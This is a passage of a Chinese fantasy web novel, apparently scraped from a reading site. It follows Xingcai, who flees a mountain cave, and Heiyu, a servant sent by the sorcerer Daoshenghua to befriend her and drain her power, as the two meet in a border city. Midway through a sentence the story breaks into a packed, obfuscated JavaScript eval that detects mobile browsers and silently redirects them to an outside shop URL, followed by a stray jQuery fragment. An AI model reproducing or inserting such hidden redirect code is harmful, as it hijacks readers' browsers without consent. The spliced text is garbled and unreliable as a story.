荇菜怒火冲天,猛捶膝盖,痛得龇牙咧嘴,扶着发软的膝头起身。
“该死……当真是六月里的债,还得快。前一脚欺负别人,还没出青山官道就被别人欺负。幸好我没有落下修习还阳功的法篇术章,不然都不知道怎么死。
黑人什么来头?气息,那人,灵魂……不会是知道我是个冒牌货,带我去投胎吧?”
“滚滚滚……”
荇菜的心头发紧,环顾熟悉的洞窟。
旁边是金花用剑凿出来的石床,初来乍到的羞耻场面再度翻涌而上,胸口也隐隐作痛。
她是一刻都不想留这,慌忙地奔下山。
驴子和包裹被丢在路边,万幸没被人捡走。
荇菜拉上驴子火速离开。
当初,她在这条大路上左右徘徊,如今又走到这,选择同青衍镇相反的方向。
她与周老夫人、蕙永、白夫子等人,像是两条本不会交汇的平行线,在一个奇妙的时间点完成一次交叉。
“项檀!”荇菜想起山中的猜测,怒不可遏道,“你最好是死了,不然,非得弄死你。”
小毛驴嘚儿个嘚,载着心急如焚的荇菜悠哉前往。
青山站两道,时间久了,胆胆怯怯的荇菜也宽了心思。
她顺把长发,蹙眉扫起自身:“练气后期……我竟然到练气后期?这境界是怎么来呢?在金莲的记忆里,可是连练气的门都没入啊。
说是花涟长老的小徒弟,更像是关在莲花殿金丝笼里的金丝雀。
黑人说的气息、灵魂,究竟要干什么?若他再来,我是送上去自杀投胎呢……呸呸呸……鬼才自杀。
驾……”
**
青山的瀑泉前,道生花把池里的鱼勾到水面,让它们在离水半指的高度仓惶扑棱。见水不能入,命在旦夕间。然而,瀑布溅起的水落在几近渴死的鱼身,又让这些鱼留有一线生机。
道生花喜欢这样的生存处境,不论是旁人,或他自己。
黑衣人走至池边,向他跪下:“法尊,是他。但他修炼摄魂术……”
瀑布池上的鱼儿炸成血雾,道生花后面的黑衣人也狠摔向石头。
“黑羽,你的面罩呢?”
黑羽捂住胸口,咳出口血,又快速地爬跪上前:“黑羽办事不利,请法尊降罚。”
“若真是他,失败也正常。他的分身众多,在千万人里追索出一个已是不易。既然找到他,就不能放过了。”
道生花眨眼立在黑羽的面前,勾指抬起漆黑如墨的脸面,“啧啧啧……传言黑羽族人自生来全身除眼白外都黑,”目光下落,垂在黑羽弓跪的单膝后,“是真呀!”
黑羽顿感羞耻,难堪地垂头。
“本尊还听说,羽弃城有个传统:若有人揭掉羽弃城人的面罩,就要嫁给对方。嫁给他啊……哈哈哈,想来就十分有趣。”
黑羽的头垂至胸前:“羽弃城是羽民国的耻辱。城中人只想借此理由,胁迫外人带他们逃离出城。”
“世人皆以白为美,谁会喜欢黑成碳条的物品。”道生花拂过黑羽,灵光覆下,犹如神指点化。
漆黑的肌肤在法术下瞬变成羊脂玉般白皙通透,因肤色黑,看起来扁平的五官都变得立体分明,棱角有度。
“一白遮百丑。如此,顺眼多了。起来吧。”
黑羽褪下手套,反复观看白到发光的手掌手背,抚摸脸颊,不敢置信地看向道生花。
道生花轻笑着背过身,边走边道:“他没见过这样得你,你想办法留在他的身边。学会做他的朋友,弄明白他的目的,趁他受伤时,夺他的灵力。”
“是……道尊。”黑羽激动地行礼。
道生花已消失不见。
黑羽扑向瀑潭,浮动的潭水上照出干净的人影。他抚摸脸颊和手臂:“真得……变白了?不是只有接受成人礼才有机会……我……”
“傻黑羽啊。这只是高级的障眼法,合体境以上的强者才有可能窥破本尊的法术。”
黑羽呲溜地跪下:“是,法尊。”面上的惊喜肉眼可见的消失。
“呵,本尊就想看你喜出望外又失望的模样。哈哈哈哈……”
黑羽在原地跪很久,道生花没再出现,他才缓缓地起身:“多谢法尊,谨遵法令。”直起腰后再等一会,他试探地碰触脸面,望向瀑潭时小退一步,转身离开。
**
高昌国与欧丝国的入境交界口是一座城,名唤八元城。
荇菜牵毛驴入城,被一阵儿童的叽叽喳喳声吸引目光,又被一道人影定住脚。
太阳下的男人在一身黑色长衣的衬托下像是会发光,木头似站在孩子们中间,表情呆滞,手足无错,一副不会应对孩子的状况。
孩子们围着他嚷嚷:“黑羽哥哥,再给我们买一支吧,买一支吧。”
“求求你了黑羽哥哥……”
“黑羽哥哥……再买一支,就一支。”
……
五六位商贩背着糖葫芦架子,杵在外围看热闹。
有人的架子上已经被买空,瞧着热闹,帮腔道:“黑羽少侠,你瞧孩子们多高兴,多喜欢你。你就再给他们买一支呗。”
商贩们趁机凑近,七嘴八舌地哄少侠:“是啊,少侠不缺钱,再给他们买一支吧。”
“小朋友们,快喊几声哥哥……”
……
荇菜瞧不过眼,给孩子们买吃得是图个大家高兴。成年人参合进去胁迫旁人给孩子买就过分了。
她牵毛驴近前,想这人应对不了就搭把手。
黑羽被孩子们包围近半个时辰,起初是不适应,连名字都被问出来,再来是惊喜。孩子们一声声地唤“黑羽哥哥”,这让他前所未有的满足,也想起曾经可悲的童年。
黑羽的父亲是黑羽族人,游历四方的母亲年轻气盛,好奇心驱使入了羽弃城。她听说黑羽族人经过成年礼后有机会转成寻常人类的肤色,好奇心过重的母亲在黑灯瞎火中上父亲。
父亲真得一夜变白,母亲觉得捡到宝。母亲按羽弃城的规定,办理羽民国的手续后带走父亲。
没有人告诉母亲,她生下的孩子有可能是一名肤色全黑的黑羽族婴儿。
在前两个孩子肤色像母亲的情况下突然生出个黑肤色的婴儿,母亲差点气死过去,而身为黑羽族人的父亲也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456915|141616||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不喜欢黑羽。
黑羽的童年是场悲剧。
哥哥姐姐不喜欢他,小伙伴们拿石头砸他……骂他是乌鸦,传他会给家人带来灾难。
黑羽摸在腰间,兜里只有灵石,唯一的漂亮金子给了第一个来卖糖葫芦的小贩。
当他要掏灵石的时候,一锭碎银砸过来。
他举手接住,看到一旁的荇菜:是他……不,是她。他现在的分身是女子。
黑羽瞳孔微缩,怕被她摄魂,垂头将银子递给糖葫芦小贩。
孩子们兴奋地围住商贩,从他们的架子上取走糖葫芦。
然而,这还没完,有奶便是娘啊。这群自来熟、不怕生的孩子们又围住荇菜:刚刚的银子可是这位漂亮姐姐给得呢。
“好姐姐,你真漂亮。”
“姐姐真好看,再给我们买一支吧。”
“姐姐叫什么呀……”
……
“你们都是人儿精吧。谁告诉我城里最好的客栈怎么走?”荇菜朝哄闹的孩子们道,往黑羽处看眼:真是个傻子。
有个女孩快口指路:“姐姐,我带你去,往这边走。”
“好,就你了。其他人啊,散了吧,小心黑羽哥哥变成黑夜叉,在黑漆漆的月下把你们全都叼走,啊呜一口。”荇菜伸着五爪,做张鬼脸,看着孩子们一哄而散,哈哈大笑。
包包头的小女孩害怕得要跑。
荇菜就勾住小姑娘的衣领,莞尔道:“我哄他们呢。你别怕,带姐姐去客栈,有奖励。”
“好……吧。”小姑娘被她安抚,舔着甜甜的糖葫芦,嬉笑着在前领路。
荇菜见黑羽跟来,好笑道:“你也是刚入城?我叫荇菜。”
“嗯。我叫……”
“黑羽。他们都叫你黑羽哥哥。”荇菜上下扫看黑羽,“你既不黑,也不长翅膀,怎么叫这个名字?”
黑羽张口,不能说实话,可实话也是:“爹取的。”
“我的名字是我妈取的。”荇菜发现这人话不多,赶路无聊就找话说,“你来过八元城吗?”
黑羽摇头:与她同行,算是留在她身边了吧。怎么成为朋友呢?
“你知道十方山寺吗?它到底是一座庙,还是一座山里全是庙?”
黑羽张口结舌:这姑娘怎么这么会说?
他垂目道:“十方寺是高昌国宗,天下八大宗门之一。十方山近千里,大大小小上万座寺庙,都归十方寺管。僧人团结,内里有分派,对外却是一致。大家就叫它:十方山寺。”
“姐姐就是这了。”包包头指向来缘客栈,主动伸出小手手。
荇菜起逗弄她的心思,拍在小姑娘的掌心,打趣道:“奖励不是变成你肚子里的糖嘛。”
小孩子藏不住事,瞬间生气,愤怒地看向荇菜,欲哭不哭。
荇菜只是开个玩笑,见状哄道:“别哭别哭,就给你。”
她从荷包里取钱,已有一块亮晶晶的石头落在小女孩的掌心。
小女孩是识货人,拳紧手掌,转身跑掉。风里飘来句“谢谢。”
荇菜举着碎银目瞪口呆,转向眼神清澈的黑羽:“刚你给得是什么?”